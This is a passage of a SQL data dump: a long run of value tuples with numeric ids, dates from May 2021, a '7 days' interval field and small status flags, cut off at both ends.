days',0),(47866,15737,8429,9566,194,45,'2021-05-11','7 days',1),(47867,15736,8429,9566,194,45,'2021-05-11','7 days',0),(47868,15734,8429,9566,194,45,'2021-05-11','7 days',0),(47869,15730,8429,9566,194,45,'2021-05-11','7 days',0),(47875,9765,8408,9547,203,86,'2021-05-11','7 days',0),(47876,9764,8408,9547,203,86,'2021-05-11','7 days',0),(47877,9756,8408,9547,203,86,'2021-05-11','7 days',0),(47878,9755,8408,9547,203,86,'2021-05-11','7 days',0),(47879,9753,8408,9547,203,86,'2021-05-11','7 days',0),(47880,9752,8408,9547,203,86,'2021-05-11','7 days',0),(47881,9751,8408,9547,203,86,'2021-05-11','7 days',0),(47882,16277,8389,9530,1342,971,'2021-05-11','7 days',0),(47883,16276,8389,9530,1342,971,'2021-05-11','7 days',0),(47884,16139,8389,9530,1342,971,'2021-05-11','7 days',1),(47885,12739,8389,9530,1342,971,'2021-05-11','7 days',0),(47886,11698,8389,9530,1342,971,'2021-05-11','7 days',0),(47887,11456,8389,9530,1342,971,'2021-05-11','7 days',0),(47888,11126,8389,9530,1342,971,'2021-05-11','7 days',1),(47889,10978,8389,9530,1342,971,'2021-05-11','7 days',1),(47890,10967,8389,9530,1342,971,'2021-05-11','7 days',1),(47891,10966,8389,9530,1342,971,'2021-05-11','7 days',1),(47892,10965,8389,9530,1342,971,'2021-05-11','7 days',1),(47893,10964,8389,9530,1342,971,'2021-05-11','7 days',0),(47894,10963,8389,9530,1342,971,'2021-05-11','7 days',1),(47895,15599,8389,9530,1342,971,'2021-05-11','7 days',0),(47896,15462,8389,9530,1342,971,'2021-05-11','7 days',0),(47897,16277,8169,9337,1654,971,'2021-05-11','7 days',0),(47898,16276,8169,9337,1654,971,'2021-05-11','7 days',0),(47899,16139,8169,9337,1654,971,'2021-05-11','7 days',1),(47900,12739,8169,9337,1654,971,'2021-05-11','7 days',1),(47901,11698,8169,9337,1654,971,'2021-05-11','7 days',0),(47902,11456,8169,9337,1654,971,'2021-05-11','7 days',0),(47903,11126,8169,9337,1654,971,'2021-05-11','7 days',1),(47904,10978,8169,9337,1654,971,'2021-05-11','7 days',1),(47905,10967,8169,9337,1654,971,'2021-05-11','7 days',1),(47906,10966,8169,9337,1654,971,'2021-05-11','7 days',1),(47907,10965,8169,9337,1654,971,'2021-05-11','7 days',0),(47908,10964,8169,9337,1654,971,'2021-05-11','7 days',0),(47909,10963,8169,9337,1654,971,'2021-05-11','7 days',1),(48024,4512,8460,9557,634,639,'2021-05-13','7 days',1),(48025,4494,8460,9557,634,639,'2021-05-13','7 days',1),(48026,4487,8460,9557,634,639,'2021-05-13','7 days',0),(48027,4473,8460,9557,634,639,'2021-05-13','7 days',2),(48090,16678,8408,9547,203,86,'2021-05-14','7 days',0),(48091,16677,8408,9547,203,86,'2021-05-14','7 days',0),(48092,16676,8408,9547,203,86,'2021-05-14','7 days',0),(48093,16675,8408,9547,203,86,'2021-05-14','7 days',0),(48094,16674,8408,9547,203,86,'2021-05-14','7 days',0),(48095,16673,8408,9547,203,86,'2021-05-14','7 days',2),(48096,16672,8408,9547,203,86,'2021-05-14','7 days',0),(48097,15568,8408,9547,203,86,'2021-05-14','7 days',1),(48098,15345,8408,9547,203,86,'2021-05-14','7 days',0),(48099,15344,8408,9547,203,86,'2021-05-14','7 days',2),(48100,15343,8408,9547,203,86,'2021-05-14','7 days',1),(48101,15342,8408,9547,203,86,'2021-05-14','7 days',0),(48102,15341,8408,9547,203,86,'2021-05-14','7 days',0),(48103,15340,8408,9547,203,86,'2021-05-14','7 days',1),(48105,13225,7924,9134,161,73,'2021-05-15','7 days',1),(48106,639,7924,9134,161,73,'2021-05-15','7 days',0),(48107,637,7924,9134,161,73,'2021-05-15','7 days',0),(48108,636,7924,9134,161,73,'2021-05-15','7 days',0),(48109,629,7924,9134,161,73,'2021-05-15','7 days',0),(48110,11589,7930,9123,161,73,'2021-05-15','7 days',1),(48111,642,7930,9123,161,73,'2021-05-15','7 days',1),(48112,640,7930,9123,161,73,'2021-05-15','7 days',0),(48113,639,7930,9123,161,73,'2021-05-15','7 days',0),(48114,637,7930,9123,161,73,'2021-05-15','7 days',0),(48194,17074,8320,9180,1370,667,'2021-05-15','7 days',1),(48195,17074,8240,9400,1456,667,'2021-05-15','7 days',1),(48196,17074,8239,9399,1370,667,'2021-05-15','7 days',1),(48197,17074,8114,9288,1370,667,'2021-05-15','7 days',1),(48394,15826,8490,9623,1675,86,'2021-05-17','7 days',1),(48395,13344,8490,9623,1675,86,'2021-05-17','7 days',0),(48396,13343,8490,9623,1675,86,'2021-05-17','7 days',0),(48397,13342,8490,9623,1675,86,'2021-05-17','7 days',1),(48398,13341,8490,9623,1675,86,'2021-05-17','7 days',0),(48399,13340,8490,9623,1675,86,'2021-05-17','7 days',1),(48400,13339,8490,9623,1675,86,'2021-05-17','7 days',0),(48401,13338,8490,9623,1675,86,'2021-05-17','7 days',0),(48402,15626,8491,9619,1574,86,'2021-05-17','7 days',2),(48403,15625,8491,9619,1574,86,'2021-05-17','7 days',0),(48404,15624,8491,9619,1574,86,'2021-05-17','7 days',2),(48405,15623,8491,9619,1574,86,'2021-05-17','7 days',2),(48406,15540,8491,9619,1574,86,'2021-05-17','7 days',0),(48407,15539,8491,9619,1574,86,'2021-05-17','7 days',0),(48408,15538,8491,9619,1574,86,'2021-05-17','7 days',0),(48409,15537,8491,9619,1574,86,'2021-05-17','7 days',0),(48410,15536,8491,9619,1574,86,'2021-05-17','7 days',0),(48411,15535,8491,9619,1574,86,'2021-05-17','7 days',0),(48412,15534,8491,9619,1574,86,'2021-05-17','7 days',0),(48413,15533,8491,9619,1574,86,'2021-05-17','7 days',2),(48414,15532,8491,9619,1574,86,'2021-05-17','7 days',0),(48415,15531,8491,9619,1574,86,'2021-05-17','7 days',0),(48416,15530,8491,9619,1574,86,'2021-05-17','7 days',0),(48417,15529,8491,9619,1574,86,'2021-05-17','7 days',0),(48418,15528,8491,9619,1574,86,'2021-05-17','7 days',0),(48419,14617,8491,9619,1574,86,'2021-05-17','7 days',0),(48420,14446,8491,9619,1574,86,'2021-05-17','7 days',0),(48421,12770,8491,9619,1574,86,'2021-05-17','7 days',0),(48422,12530,8491,9619,1574,86,'2021-05-17','7 days',0),(48423,12529,8491,9619,1574,86,'2021-05-17','7 days',0),(48424,10944,8491,9619,1574,86,'2021-05-17','7 days',0),(48425,10943,8491,9619,1574,86,'2021-05-17','7 days',0),(48426,6348,8491,9619,1574,86,'2021-05-17','7 days',0),(48427,5730,8491,9619,1574,86,'2021-05-17','7 days',0),(48428,5728,8491,9619,1574,86,'2021-05-17','7 days',0),(48429,3704,8491,9619,1574,86,'2021-05-17','7 days',0),(48430,3702,8491,9619,1574,86,'2021-05-17','7 days',0),(48431,1128,8491,9619,1574,86,'2021-05-17','7 days',0),(48432,940,8491,9619,1574,86,'2021-05-17','7 days',0),(48433,936,8491,9619,1574,86,'2021-05-17','7 days',1),(48434,17081,8513,9118,1439,86,'2021-05-17','7 days',0),(48435,17080,8513,9118,1439,86,'2021-05-17','7 days',0),(48436,17079,8513,9118,1439,86,'2021-05-17','7 days',0),(48437,12379,8513,9118,1439,86,'2021-05-17','7 days',0),(48438,12378,8513,9118,1439,86,'2021-05-17','7 days',0),(48439,18096,8513,9118,1439,86,'2021-05-17','7 days',2),(48440,18095,8513,9118,1439,86,'2021-05-17','7 days',0),(48441,14439,8513,9118,1439,86,'2021-05-17','7 days',0),(48442,12278,8513,9118,1439,86,'2021-05-17','7 days',0),(48443,10913,8513,9118,1439,86,'2021-05-17','7 days',1),(48444,9091,8513,9118,1439,86,'2021-05-17','7 days',0),(48445,8996,8513,9118,1439,86,'2021-05-17','7 days',0),(48446,18102,8491,9619,1574,86,'2021-05-17','7 days',0),(48447,18101,8491,9619,1574,86,'2021-05-17','7 days',1),(48448,18100,8491,9619,1574,86,'2021-05-17','7 days',0),(48449,18099,8491,9619,1574,86,'2021-05-17','7 days',0),(48450,18098,8491,9619,1574,86,'2021-05-17','7 days',1),(48451,18097,8491,9619,1574,86,'2021-05-17','7 days',0),(48452,18096,8491,9619,1574,86,'2021-05-17','7 days',2),(48453,18095,8491,9619,1574,86,'2021-05-17','7 days',0),(48456,11689,8435,7494,194,45,'2021-05-17','7 days',1),(48460,11689,8403,9542,194,45,'2021-05-17','7 days',1),(48511,17489,8481,9613,634,639,'2021-05-18','7 days',1),(48512,17451,8481,9613,634,639,'2021-05-18','7 days',0),(48513,4516,8481,9613,634,639,'2021-05-18','7 days',1),(48514,4467,8481,9613,634,639,'2021-05-18','7 days',2),(48522,11589,7871,9086,162,73,'2021-05-18','7 days',1),(48523,672,7871,9086,162,73,'2021-05-18','7 days',0),(48524,661,7871,9086,162,73,'2021-05-18','7 days',0),(48525,647,7871,9086,162,73,'2021-05-18','7 days',0),(48526,640,7871,9086,162,73,'2021-05-18','7 days',0),(48584,14685,8519,9644,194,45,'2021-05-19','7 days',1),(48585,14684,8519,9644,194,45,'2021-05-19','7 days',1),(48586,13913,8519,9644,194,45,'2021-05-19','7 days',0),(48587,11689,8519,9644,194,45,'2021-05-19','7 days',1),(48615,15741,8086,9258,194,45,'2021-05-19','7 days',1),(48616,15740,8086,9258,194,45,'2021-05-19','7 days',1),(48617,15735,8086,9258,194,45,'2021-05-19','7 days',2),(48618,15733,8086,9258,194,45,'2021-05-19','7 days',1),(48619,15729,8086,9258,194,45,'2021-05-19','7 days',0),(48665,13881,8541,9666,1675,86,'2021-05-19','7 days',0),(48666,13880,8541,9666,1675,86,'2021-05-19','7 days',1),(48667,13879,8541,9666,1675,86,'2021-05-19','7 days',0),(48668,13878,8541,9666,1675,86,'2021-05-19','7 days',0),(48669,13877,8541,9666,1675,86,'2021-05-19','7 days',0),(48670,13088,8541,9666,1675,86,'2021-05-19','7 days',0),(48671,12818,8541,9666,1675,86,'2021-05-19','7 days',0),(48672,12259,8541,9666,1675,86,'2021-05-19','7 days',1),(48673,12258,8541,9666,1675,86,'2021-05-19','7 days',0),(48674,12256,8541,9666,1675,86,'2021-05-19','7 days',0),(48675,12241,8541,9666,1675,86,'2021-05-19','7 days',2),(48676,12239,8541,9666,1675,86,'2021-05-19','7 days',0),(48683,17212,8534,9658,1324,959,'2021-05-19','7 days',1),(48684,17204,8534,9658,1324,959,'2021-05-19','7 days',1),(48685,15747,8534,9658,1324,959,'2021-05-19','7 days',0),(48686,17213,8532,9657,1310,959,'2021-05-19','7 days',1),(48687,17211,8532,9657,1310,959,'2021-05-19','7 days',1),(48688,14071,8532,9657,1310,959,'2021-05-19','7 days',1),(48689,17215,8531,9656,1367,959,'2021-05-19','7 days',1),(48690,17209,8531,9656,1367,959,'2021-05-19','7 days',0),(48691,17208,8531,9656,1367,959,'2021-05-19','7 days',1),(48692,10393,8531,9656,1367,959,'2021-05-19','7 days',1),(48840,18228,8521,9647,1456,667,'2021-05-20','7 days',2),(48841,18227,8521,9647,1456,667,'2021-05-20','7 days',0),(48842,18226,8521,9647,1456,667,'2021-05-20','7 days',1),(48843,18225,8521,9647,1456,667,'2021-05-20','7 days',0),(48844,18224,8521,9647,1456,667,'2021-05-20','7 days',0),(48845,18223,8521,9647,1456,667,'2021-05-20','7 days',0),(48846,18222,8521,9647,1456,667,'2021-05-20','7 days',2),(48847,18221,8521,9647,1456,667,'2021-05-20','7 days',0),(48848,18220,8521,9647,1456,667,'2021-05-20','7 days',0),(48849,18219,8521,9647,1456,667,'2021-05-20','7 days',0),(48850,18218,8521,9647,1456,667,'2021-05-20','7 days',0),(48851,18217,8521,9647,1456,667,'2021-05-20','7 days',0),(48852,18216,8521,9647,1456,667,'2021-05-20','7 days',0),(48853,18215,8521,9647,1456,667,'2021-05-20','7 days',0),(48854,18214,8521,9647,1456,667,'2021-05-20','7 days',0),(48855,18009,8396,9537,1370,667,'2021-05-20','7 days',0),(48856,18008,8396,9537,1370,667,'2021-05-20','7 days',0),(48857,18007,8396,9537,1370,667,'2021-05-20','7 days',0),(48858,18006,8396,9537,1370,667,'2021-05-20','7 days',0),(48859,18005,8396,9537,1370,667,'2021-05-20','7 days',0),(48860,18004,8396,9537,1370,667,'2021-05-20','7 days',0),(48861,18003,8396,9537,1370,667,'2021-05-20','7 days',0),(48862,18002,8396,9537,1370,667,'2021-05-20','7 days',0),(48863,18001,8396,9537,1370,667,'2021-05-20','7 days',0),(48864,18000,8396,9537,1370,667,'2021-05-20','7 days',0),(48998,17412,8494,9625,1452,91,'2021-05-20','7 days',1),(48999,7022,8494,9625,1452,91,'2021-05-20','7 days',1),(49000,9159,8494,9625,1452,91,'2021-05-20','7 days',1),(49001,9155,8494,9625,1452,91,'2021-05-20','7 days',1),(49002,7213,8494,9625,1452,91,'2021-05-20','7 days',1),(49003,7212,8494,9625,1452,91,'2021-05-20','7 days',1),(49004,7021,8494,9625,1452,91,'2021-05-20','7 days',1),(49005,7023,8494,9625,1452,91,'2021-05-20','7 days',0),(49006,7020,8494,9625,1452,91,'2021-05-20','7 days',0),(49007,12274,8494,9625,1452,91,'2021-05-20','7 days',1),(49008,12273,8494,9625,1452,91,'2021-05-20','7 days',1),(49009,12264,8494,9625,1452,91,'2021-05-20','7 days',1),(49010,12263,8494,9625,1452,91,'2021-05-20','7 days',1),(49030,7308,8494,9625,1452,91,'2021-05-20','7 days',0),(49032,7307,8494,9625,1452,91,'2021-05-20','7 days',2),(49033,7306,8494,9625,1452,91,'2021-05-20','7 days',0),(49035,7305,8494,9625,1452,91,'2021-05-20','7 days',0),(49037,7304,8494,9625,1452,91,'2021-05-20','7 days',0),(49039,7303,8494,9625,1452,91,'2021-05-20','7 days',0),(49041,7147,8494,9625,1452,91,'2021-05-20','7 days',0),(49043,7146,8494,9625,1452,91,'2021-05-20','7 days',0),(49045,7145,8494,9625,1452,91,'2021-05-20','7 days',0),(49047,7143,8494,9625,1452,91,'2021-05-20','7 days',0),(49049,7142,8494,9625,1452,91,'2021-05-20','7 days',0),(49098,18213,8521,9647,1456,667,'2021-05-20','7 days',0),(49099,18212,8521,9647,1456,667,'2021-05-20','7 days',0),(49100,18211,8521,9647,1456,667,'2021-05-20','7 days',0),(49101,18210,8521,9647,1456,667,'2021-05-20','7 days',0),(49102,18209,8521,9647,1456,667,'2021-05-20','7 days',0),(49103,18208,8521,9647,1456,667,'2021-05-20','7 days',2),(49104,18207,8521,9647,1456,667,'2021-05-20','7 days',0),(49105,18206,8521,9647,1456,667,'2021-05-20','7 days',1),(49106,18205,8521,9647,1456,667,'2021-05-20','7 days',0),(49107,18204,8521,9647,1456,667,'2021-05-20','7 days',0),(49108,11689,8086,9258,194,45,'2021-05-21','7 days',1),(49109,17489,8514,9640,634,639,'2021-05-21','7 days',1),(49110,17451,8514,9640,634,639,'2021-05-21','7 days',0),(49111,4516,8514,9640,634,639,'2021-05-21','7 days',1),(49112,4514,8514,9640,634,639,'2021-05-21','7 days',0),(49113,4499,8514,9640,634,639,'2021-05-21','7 days',0),(49114,4467,8514,9640,634,639,'2021-05-21','7 days',0),(49148,11689,7979,6667,194,45,'2021-05-21','7 days',1),(49149,11689,7980,6667,194,45,'2021-05-21','7 days',1),(49157,17213,8572,9690,1315,959,'2021-05-22','7 days',1),(49158,17211,8572,9690,1315,959,'2021-05-22','7 days',1),(49159,14071,8572,9690,1315,959,'2021-05-22','7 days',1),(49160,17214,8571,9689,1324,959,'2021-05-22','7 days',0),(49161,10251,8571,9689,1324,959,'2021-05-22','7 days',1),(49162,10212,8571,9689,1324,959,'2021-05-22','7 days',1),(49163,10211,8571,9689,1324,959,'2021-05-22','7 days',0),(49164,5407,8484,9616,1674,251,'2021-05-22','7 days',0),(49165,5406,8484,9616,1674,251,'2021-05-22','7 days',0),(49166,5405,8484,9616,1674,251,'2021-05-22','7 days',0),(49167,5404,8484,9616,1674,251,'2021-05-22','7 days',0),(49168,4272,8484,9616,1674,251,'2021-05-22','7 days',0),(49169,4271,8484,9616,1674,251,'2021-05-22','7 days',0),(49170,18259,8553,9677,1674,251,'2021-05-22','7 days',1),(49171,18259,8449,9581,1674,251,'2021-05-22','7 days',1),(49197,18102,8588,6489,1574,86,'2021-05-22','7 days',0),(49198,18101,8588,6489,1574,86,'2021-05-22','7 days',1),(49199,18100,8588,6489,1574,86,'2021-05-22','7 days',0),(49200,18099,8588,6489,1574,86,'2021-05-22','7 days',0),(49201,18098,8588,6489,1574,86,'2021-05-22','7 days',1),(49202,12284,8588,6489,1574,86,'2021-05-22','7 days',1),(49203,12283,8588,6489,1574,86,'2021-05-22','7 days',0),(49204,17502,8588,6489,1574,86,'2021-05-22','7 days',1),(49205,16783,8588,6489,1574,86,'2021-05-22','7 days',0),(49206,16782,8588,6489,1574,86,'2021-05-22','7 days',0),(49207,16739,8588,6489,1574,86,'2021-05-22','7 days',0),(49208,16024,8588,6489,1574,86,'2021-05-22','7 days',0),(49209,15589,8588,6489,1574,86,'2021-05-22','7 days',0),(49210,15588,8588,6489,1574,86,'2021-05-22','7 days',1),(49211,18277,8591,6489,1393,86,'2021-05-22','7 days',1),(49212,18276,8591,6489,1393,86,'2021-05-22','7 days',1),(49213,18275,8591,6489,1393,86,'2021-05-22','7 days',1),(49214,15634,8591,6489,1393,86,'2021-05-22','7 days',0),(49215,15633,8591,6489,1393,86,'2021-05-22','7 days',0),(49216,15632,8591,6489,1393,86,'2021-05-22','7 days',0),(49217,15631,8591,6489,1393,86,'2021-05-22','7 days',0),(49218,15630,8591,6489,1393,86,'2021-05-22','7 days',0),(49219,15541,8591,6489,1393,86,'2021-05-22','7 days',0),(49220,15495,8591,6489,1393,86,'2021-05-22','7 days',0),(49221,14911,8591,6489,1393,86,'2021-05-22','7 days',0),(49222,14910,8591,6489,1393,86,'2021-05-22','7 days',0),(49223,18277,8592,6489,1574,86,'2021-05-22','7 days',1),(49224,18276,8592,6489,1574,86,'2021-05-22','7 days',1),(49225,18275,8592,6489,1574,86,'2021-05-22','7 days',1),(49226,14906,8592,6489,1574,86,'2021-05-22','7 days',0),(49227,14905,8592,6489,1574,86,'2021-05-22','7 days',0),(49228,14904,8592,6489,1574,86,'2021-05-22','7 days',0),(49229,14846,8592,6489,1574,86,'2021-05-22','7 days',0),(49230,14845,8592,6489,1574,86,'2021-05-22','7 days',2),(49231,14844,8592,6489,1574,86,'2021-05-22','7 days',0),(49232,14843,8592,6489,1574,86,'2021-05-22','7 days',0),(49233,13927,8592,6489,1574,86,'2021-05-22','7 days',0),(49234,13926,8592,6489,1574,86,'2021-05-22','7 days',0),(49235,13925,8592,6489,1574,86,'2021-05-22','7 days',2),(49236,13924,8592,6489,1574,86,'2021-05-22','7 days',0),(49237,13923,8592,6489,1574,86,'2021-05-22','7 days',0),(49238,13922,8592,6489,1574,86,'2021-05-22','7 days',0),(49239,13921,8592,6489,1574,86,'2021-05-22','7 days',0),(49240,13920,8592,6489,1574,86,'2021-05-22','7 days',2),(49241,16880,8589,6489,1675,86,'2021-05-22','7 days',0),(49242,16788,8589,6489,1675,86,'2021-05-22','7 days',2),(49243,16745,8589,6489,1675,86,'2021-05-22','7 days',0),(49244,15352,8589,6489,1675,86,'2021-05-22','7 days',0),(49245,15351,8589,6489,1675,86,'2021-05-22','7 days',0),(49246,15350,8589,6489,1675,86,'2021-05-22','7 days',0),(49247,15349,8589,6489,1675,86,'2021-05-22','7 days',2),(49248,15346,8589,6489,1675,86,'2021-05-22','7 days',0),(49249,13099,8589,6489,1675,86,'2021-05-22','7 days',1),(49250,13009,8589,6489,1675,86,'2021-05-22','7 days',0),(49251,13008,8589,6489,1675,86,'2021-05-22','7 days',1),(49252,13006,8589,6489,1675,86,'2021-05-22','7 days',0),(49253,12783,8589,6489,1675,86,'2021-05-22','7 days',0),(49254,12360,8589,6489,1675,86,'2021-05-22','7 days',2),(49255,12359,8589,6489,1675,86,'2021-05-22','7 days',0),(49256,12358,8589,6489,1675,86,'2021-05-22','7 days',1),(49257,12303,8589,6489,1675,86,'2021-05-22','7 days',0),(49258,12302,8589,6489,1675,86,'2021-05-22','7 days',0),(49259,12301,8589,6489,1675,86,'2021-05-22','7 days',0),(49260,12298,8589,6489,1675,86,'2021-05-22','7 days',0),(49261,12297,8589,6489,1675,86,'2021-05-22','7 days',0),(49262,12296,8589,6489,1675,86,'2021-05-22','7 days',0),(49263,11970,8589,6489,1675,86,'2021-05-22','7 days',2),(49264,11964,8589,6489,1675,86,'2021-05-22','7 days',0),(49265,11949,8589,6489,1675,86,'2021-05-22','7 days',0),(49266,15496,8595,6489,1343,86,'2021-05-22','7 days',0),(49267,15015,8595,6489,1343,86,'2021-05-22','7 days',0),(49268,15014,8595,6489,1343,86,'2021-05-22','7 days',0),(49269,14912,8595,6489,1343,86,'2021-05-22','7 days',0),(49270,14908,8595,6489,1343,86,'2021-05-22','7 days',2),(49271,14903,8595,6489,1343,86,'2021-05-22','7 days',0),(49272,14902,8595,6489,1343,86,'2021-05-22','7 days',0),(49273,14901,8595,6489,1343,86,'2021-05-22','7 days',2),(49274,14842,8595,6489,1343,86,'2021-05-22','7 days',0),(49275,14841,8595,6489,1343,86,'2021-05-22','7 days',0),(49276,13883,8595,6489,1343,86,'2021-05-22','7 days',2),(49277,6243,8594,6489,1675,86,'2021-05-22','7 days',0),(49278,6241,8594,6489,1675,86,'2021-05-22','7 days',0),(49279,14913,8594,6489,1675,86,'2021-05-22','7 days',0),(49280,10807,8594,6489,1675,86,'2021-05-22','7 days',0),(49281,10806,8594,6489,1675,86,'2021-05-22','7 days',1),(49282,10805,8594,6489,1675,86,'2021-05-22','7 days',0),(49283,10804,8594,6489,1675,86,'2021-05-22','7 days',0),(49284,6199,8594,6489,1675,86,'2021-05-22','7 days',0),(49285,5755,8594,6489,1675,86,'2021-05-22','7 days',2),(49286,5754,8594,6489,1675,86,'2021-05-22','7 days',2),(49287,5753,8594,6489,1675,86,'2021-05-22','7 days',0),(49288,5751,8594,6489,1675,86,'2021-05-22','7 days',0),(49289,5749,8594,6489,1675,86,'2021-05-22','7 days',0),(49290,5747,8594,6489,1675,86,'2021-05-22','7 days',2),(49291,5745,8594,6489,1675,86,'2021-05-22','7 days',0),(49292,5743,8594,6489,1675,86,'2021-05-22','7 days',1),(49293,5741,8594,6489,1675,86,'2021-05-22','7 days',0),(49294,5739,8594,6489,1675,86,'2021-05-22','7 days',0),(49295,15371,8593,6489,1574,86,'2021-05-22','7 days',2),(49296,17502,8593,6489,1574,86,'2021-05-22','7 days',2),(49297,17500,8593,6489,1574,86,'2021-05-22','7 days',0),(49298,16783,8593,6489,1574,86,'2021-05-22','7 days',0),(49299,11848,8593,6489,1574,86,'2021-05-22','7 days',0),(49300,11846,8593,6489,1574,86,'2021-05-22','7 days',0),(49301,10962,8593,6489,1574,86,'2021-05-22','7 days',1),(49302,9002,8593,6489,1574,86,'2021-05-22','7 days',1),(49303,9000,8593,6489,1574,86,'2021-05-22','7 days',1),(49304,8999,8593,6489,1574,86,'2021-05-22','7 days',2),(49427,11845,8583,6667,194,45,'2021-05-25','7 days',1),(49428,11520,8583,6667,194,45,'2021-05-25','7 days',1),(49429,11519,8583,6667,194,45,'2021-05-25','7 days',1),(49430,2238,8583,6667,194,45,'2021-05-25','7 days',0),(49431,11520,8582,6667,194,45,'2021-05-25','7 days',1),(49432,11519,8582,6667,194,45,'2021-05-25','7 days',1),(49433,11518,8582,6667,194,45,'2021-05-25','7 days',1),(49434,11520,8581,6667,194,45,'2021-05-25','7 days',1),(49435,11519,8581,6667,194,45,'2021-05-25','7 days',1),(49436,11518,8581,6667,194,45,'2021-05-25','7 days',1),(49437,2238,8581,6667,194,45,'2021-05-25','7 days',0),(49438,11520,8579,6667,194,45,'2021-05-25','7 days',1),(49439,11519,8579,6667,194,45,'2021-05-25','7 days',1),(49440,11518,8579,6667,194,45,'2021-05-25','7 days',1),(49441,18276,8593,6489,1574,86,'2021-05-25','7 days',1),(49442,17502,8513,9118,1439,86,'2021-05-25','7 days',2),(49493,16678,8660,9734,1574,86,'2021-05-25','7 days',0),(49494,16677,8660,9734,1574,86,'2021-05-25','7 days',0),(49495,16676,8660,9734,1574,86,'2021-05-25','7 days',0),(49496,16675,8660,9734,1574,86,'2021-05-25','7 days',2),(49497,16674,8660,9734,1574,86,'2021-05-25','7 days',0),(49498,16673,8660,9734,1574,86,'2021-05-25','7 days',2),(49499,16672,8660,9734,1574,86,'2021-05-25','7 days',0),(49500,15568,8660,9734,1574,86,'2021-05-25','7 days',1),(49501,15345,8660,9734,1574,86,'2021-05-25','7 days',0),(49502,15344,8660,9734,1574,86,'2021-05-25','7 days',2),(49503,15343,8660,9734,1574,86,'2021-05-25','7 days',1),(49504,15342,8660,9734,1574,86,'2021-05-25','7 days',0),(49505,15341,8660,9734,1574,86,'2021-05-25','7 days',0),(49506,15340,8660,9734,1574,86,'2021-05-25','7 days',1),(49507,18281,8660,9734,1574,86,'2021-05-25','7 days',0),(49508,18280,8660,9734,1574,86,'2021-05-25','7 days',0),(49509,18279,8660,9734,1574,86,'2021-05-25','7 days',0),(49514,18055,8513,9118,1439,86,'2021-05-25','7 days',0),(49515,13334,8513,9118,1439,86,'2021-05-25','7 days',0),(49516,13333,8513,9118,1439,86,'2021-05-25','7 days',0),(49517,13332,8513,9118,1439,86,'2021-05-25','7 days',1),(49518,13331,8513,9118,1439,86,'2021-05-25','7 days',0),(49519,13330,8513,9118,1439,86,'2021-05-25','7 days',2),(49520,13329,8513,9118,1439,86,'2021-05-25','7 days',0),(49521,13328,8513,9118,1439,86,'2021-05-25','7 days',0),(49522,13327,8513,9118,1439,86,'2021-05-25','7 days',0),(49523,13326,8513,9118,1439,86,'2021-05-25','7 days',2),(49524,18284,8513,9118,1439,86,'2021-05-25','7 days',0),(49618,17074,8521,9647,1456,667,'2021-05-27','7 days',1),(49619,15399,8521,9647,1456,667,'2021-05-27','7 days',0),(49620,15398,8521,9647,1456,667,'2021-05-27','7 days',1),(49621,15397,8521,9647,1456,667,'2021-05-27','7 days',1),(49622,15396,8521,9647,1456,667,'2021-05-27','7 days',0),(49623,15187,8521,9647,1456,667,'2021-05-27','7 days',0),(49624,15186,8521,9647,1456,667,'2021-05-27','7 days',1),(49625,15185,8521,9647,1456,667,'2021-05-27','7 days',0),(49626,15184,8521,9647,1456,667,'2021-05-27','7 days',0),(49627,15183,8521,9647,1456,667,'2021-05-27','7 days',1),(49628,15182,8521,9647,1456,667,'2021-05-27','7 days',1),(49629,15181,8521,9647,1456,667,'2021-05-27','7 days',2),(49630,15180,8521,9647,1456,667,'2021-05-27','7 days',0),(49631,15179,8521,9647,1456,667,'2021-05-27','7 days',0),(49632,15178,8521,9647,1456,667,'2021-05-27','7 days',0),(49677,11520,8704,9775,194,45,'2021-05-27','7 days',1),(49678,11519,8704,9775,194,45,'2021-05-27','7 days',1),(49679,11518,8704,9775,194,45,'2021-05-27','7 days',1),(49680,11299,8704,9775,194,45,'2021-05-27','7 days',2),(49681,11298,8704,9775,194,45,'2021-05-27','7 days',0),(49682,2238,8704,9775,194,45,'2021-05-27','7 days',0),(49713,16385,8521,9647,1456,667,'2021-05-28','7 days',2),(49714,16383,8521,9647,1456,667,'2021-05-28','7 days',0),(49715,16381,8521,9647,1456,667,'2021-05-28','7 days',1),(49716,16379,8521,9647,1456,667,'2021-05-28','7 days',0),(49717,16377,8521,9647,1456,667,'2021-05-28','7 days',1),(49718,16376,8521,9647,1456,667,'2021-05-28','7 days',0),(49719,16374,8521,9647,1456,667,'2021-05-28','7 days',0),(49720,16336,8521,9647,1456,667,'2021-05-28','7 days',0),(49721,16335,8521,9647,1456,667,'2021-05-28','7 days',0),(49722,16334,8521,9647,1456,667,'2021-05-28','7 days',0),(49723,16333,8521,9647,1456,667,'2021-05-28','7 days',0),(49724,16332,8521,9647,1456,667,'2021-05-28','7 days',1),(49725,16331,8521,9647,1456,667,'2021-05-28','7 days',0),(49726,16330,8521,9647,1456,667,'2021-05-28','7 days',0),(49727,16329,8521,9647,1456,667,'2021-05-28','7 days',0),(49741,650,8545,9669,161,73,'2021-05-28','7 days',2),(49742,649,8545,9669,161,73,'2021-05-28','7 days',0),(49743,646,8545,9669,161,73,'2021-05-28','7 days',0),(49744,645,8545,9669,161,73,'2021-05-28','7 days',1),(49761,9014,8638,9724,161,73,'2021-05-28','7 days',1),(49762,9013,8638,9724,161,73,'2021-05-28','7 days',0),(49763,8786,8638,9724,161,73,'2021-05-28','7 days',0),(49764,668,8638,9724,161,73,'2021-05-28','7 days',2),(49765,655,8638,9724,161,73,'2021-05-28','7 days',2),(49766,632,8638,9724,161,73,'2021-05-28','7 days',0),(49773,12257,8541,9666,1675,86,'2021-05-28','7 days',0),(49774,12255,8541,9666,1675,86,'2021-05-28','7 days',0),(49775,12240,8541,9666,1675,86,'2021-05-28','7 days',0),(49776,18288,8595,6489,1343,86,'2021-05-28','7 days',0),(49777,18289,8595,6489,1343,86,'2021-05-28','7 days',1),(49778,18290,8595,6489,1343,86,'2021-05-28','7 days',0),(49779,18291,8595,6489,1343,86,'2021-05-28','7 days',1),(49813,17502,8742,9806,1394,86,'2021-05-29','7 days',2),(49814,17501,8742,9806,1394,86,'2021-05-29','7 days',0),(49815,17500,8742,9806,1394,86,'2021-05-29','7 days',0),(49816,17078,8742,9806,1394,86,'2021-05-29','7 days',2),(49817,17077,8742,9806,1394,86,'2021-05-29','7 days',0),(49818,17076,8742,9806,1394,86,'2021-05-29','7 days',0),(49819,15588,8742,9806,1394,86,'2021-05-29','7 days',1),(49820,15587,8742,9806,1394,86,'2021-05-29','7 days',0),(49821,15586,8742,9806,1394,86,'2021-05-29','7 days',1),(49822,14909,8742,9806,1394,86,'2021-05-29','7 days',1),(49823,13095,8742,9806,1394,86,'2021-05-29','7 